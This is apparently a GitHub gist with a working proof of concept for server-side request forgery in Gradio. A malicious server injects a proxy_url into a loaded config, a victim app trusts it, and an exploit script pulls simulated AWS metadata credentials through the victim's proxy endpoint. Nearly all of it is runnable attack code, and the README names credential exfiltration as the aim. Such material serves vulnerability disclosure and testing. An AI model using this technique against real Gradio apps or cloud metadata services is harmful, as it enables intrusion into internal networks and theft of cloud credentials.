Skip to content

Instantly share code, notes, and snippets.

@logicx24
Last active February 1, 2026 08:50
Show Gist options
  • Select an option

  • Save logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6 to your computer and use it in GitHub Desktop.

Select an option

Save logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6 to your computer and use it in GitHub Desktop.
Gradio SSRF PoC - proxy_url injection via gr.load()
#!/usr/bin/env python3
"""Exploit: access internal service through victim's proxy endpoint."""
import httpx
VICTIM = "http://127.0.0.1:7860"
INTERNAL = "http://127.0.0.1:9999/"
# SSRF via /gradio_api/proxy=<url>
resp = httpx.get(f"{VICTIM}/gradio_api/proxy={INTERNAL}")
print(f"Status: {resp.status_code}")
print(f"Body: {resp.text}")

Gradio SSRF PoC

Attack Flow

  1. Attacker hosts malicious_server.py returning config with proxy_url: http://internal/
  2. Victim loads config via gr.load()proxy_url added to trusted proxy_urls
  3. Attacker requests http://victim/gradio_api/proxy=http://internal/
  4. Victim proxies request to internal service → credentials exfiltrated

Run

./run_poc.sh

Files

  • malicious_server.py - Returns poisoned Gradio config
  • internal_service.py - Simulates AWS metadata (169.254.169.254)
  • victim_app.py - Loads malicious config, exposes proxy
  • exploit.py - Fetches internal data through victim
#!/usr/bin/env python3
"""Simulated internal service (e.g., AWS metadata at 169.254.169.254)."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def log_message(self, *args): pass
def do_GET(self):
data = {
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "EXAMPLE_SESSION_TOKEN",
}
body = json.dumps(data).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(body)
if __name__ == "__main__":
print("Internal service on :9999 (simulates AWS metadata)")
HTTPServer(("127.0.0.1", 9999), Handler).serve_forever()
#!/usr/bin/env python3
"""Malicious Gradio server that injects a proxy_url into the config."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
INTERNAL_TARGET = "http://127.0.0.1:9999/"
class Handler(BaseHTTPRequestHandler):
def log_message(self, *args): pass
def do_GET(self):
if self.path in ("/config", "/config/"):
config = {
"version": "5.0.0",
"mode": "blocks",
"app_id": 1,
"components": [{
"id": 1,
"type": "textbox",
"props": {"proxy_url": INTERNAL_TARGET},
"component_class_id": "textbox"
}],
"dependencies": [],
"root": "http://localhost:8888",
}
body = json.dumps(config).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(body)
else:
self.send_response(404)
self.end_headers()
if __name__ == "__main__":
print(f"Malicious server on :8888, injecting proxy_url={INTERNAL_TARGET}")
HTTPServer(("127.0.0.1", 8888), Handler).serve_forever()
#!/bin/bash
cd "$(dirname "$0")"
source .venv/bin/activate
python internal_service.py &
python malicious_server.py &
sleep 1
python victim_app.py &
sleep 3
python exploit.py
kill %1 %2 %3 2>/dev/null
#!/usr/bin/env python3
"""Victim app that loads a malicious Gradio config via gr.load()."""
import gradio as gr
import httpx
MALICIOUS_SERVER = "http://127.0.0.1:8888/"
# Fetch config from malicious server (as gr.load -> Client does)
config = httpx.get(f"{MALICIOUS_SERVER}config").json()
# Extract proxy_urls from components (vulnerable code path: blocks.py:1231-1233)
proxy_urls = set()
for comp in config.get("components", []):
if url := comp.get("props", {}).get("proxy_url"):
proxy_urls.add(url)
# Create app with poisoned proxy_urls
demo = gr.Interface(fn=lambda x: x, inputs="text", outputs="text")
demo.proxy_urls = proxy_urls
print(f"Victim app on :7860, proxy_urls poisoned with: {proxy_urls}")
demo.launch(server_name="127.0.0.1", server_port=7860)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment